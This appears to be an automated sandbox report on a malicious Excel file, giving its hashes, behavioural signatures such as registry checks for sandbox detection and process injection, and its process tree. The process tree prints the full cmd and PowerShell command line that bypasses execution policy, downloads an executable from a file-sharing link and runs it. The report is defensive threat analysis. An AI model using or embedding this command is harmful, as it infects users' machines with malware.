Analysis
-
max time kernel
47s -
max time network
38s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
05/08/2024, 21:17
Behavioral task
behavioral1
Sample
d022ae1f3358ca9d9c14a906a50595ed721d63e6abd0a05ea0a04eac4442f916.xls
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
d022ae1f3358ca9d9c14a906a50595ed721d63e6abd0a05ea0a04eac4442f916.xls
Resource
win10v2004-20240802-en
General
-
Target
d022ae1f3358ca9d9c14a906a50595ed721d63e6abd0a05ea0a04eac4442f916.xls
-
Size
26KB
-
MD5
7c3d4c985f5acfdae964a72f61558f99
-
SHA1
722eb645034e7f38d33decaf1ddab58abd509124
-
SHA256
d022ae1f3358ca9d9c14a906a50595ed721d63e6abd0a05ea0a04eac4442f916
-
SHA512
97b2e66ee3932223eed7d70b6207376608a31f6ac2ca7afe767b818aa7238bd834d3d64cde13910731d45365185ac6134492cca1e0c5da44b0f08a9dd065786b
-
SSDEEP
768:mP1k3hbdlylKsgqopeJBWhZFGkE+cL2NdAJavmvCv4KO:a1k3hbdlylKsgqopeJBWhZFGkE+cL2NO
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3288 1468 cmd.exe 82 -
Blocklisted process makes network request 1 IoCs
flow pid Process 10 1640 powershell.exe -
pid Process 1640 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1468 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1640 powershell.exe 1640 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1640 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 1468 EXCEL.EXE 1468 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 1468 EXCEL.EXE 1468 EXCEL.EXE 1468 EXCEL.EXE 1468 EXCEL.EXE 1468 EXCEL.EXE 1468 EXCEL.EXE 1468 EXCEL.EXE 1468 EXCEL.EXE 1468 EXCEL.EXE 1468 EXCEL.EXE 1468 EXCEL.EXE 1468 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 1468 wrote to memory of 3288 1468 EXCEL.EXE 86 PID 1468 wrote to memory of 3288 1468 EXCEL.EXE 86 PID 3288 wrote to memory of 1640 3288 cmd.exe 90 PID 3288 wrote to memory of 1640 3288 cmd.exe 90
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\d022ae1f3358ca9d9c14a906a50595ed721d63e6abd0a05ea0a04eac4442f916.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1468 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest 'https://gofile.io/d/hRWpD6' -OutFile C:\Users\Admin\AppData\Local\Temp\file.exe; Start-Process C:\Users\Admin\AppData\Local\Temp\file.exe"2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3288 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest 'https://gofile.io/d/hRWpD6' -OutFile C:\Users\Admin\AppData\Local\Temp\file.exe; Start-Process C:\Users\Admin\AppData\Local\Temp\file.exe"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1640
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
494B
MD52c90c89565e8b97ff3357046451f6ad2
SHA1a4d804006898694914846598e87d1da86c0ab2af
SHA256cca2b803b3a9607ca273bd358daa7679d028e4cee40030677b2ee9905222f9cd
SHA512742e6a7c01710b6133f6dcafad5b6c6ef2c31799f37ab353631f07695fdd2542daf9fc6ba9798bc795825d1a4f976296c504d19d74602f2aac481d988d8a1bba
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize1KB
MD59b79475947992abfcfd21e99a5d9f097
SHA1d001493ba7a746e736ff6454e3b29107682aa003
SHA2561bf45c407e549684f68c2cdd657ca668e6f2ad573ddab533a88ee424430308ff
SHA51293378f342592fed558af716545df06ab85b6e96f6897eee350d5a201a4c8c402186af4f2b656288dbe83fea153de204258fa4b72201d94ad1c2f71019305cd7a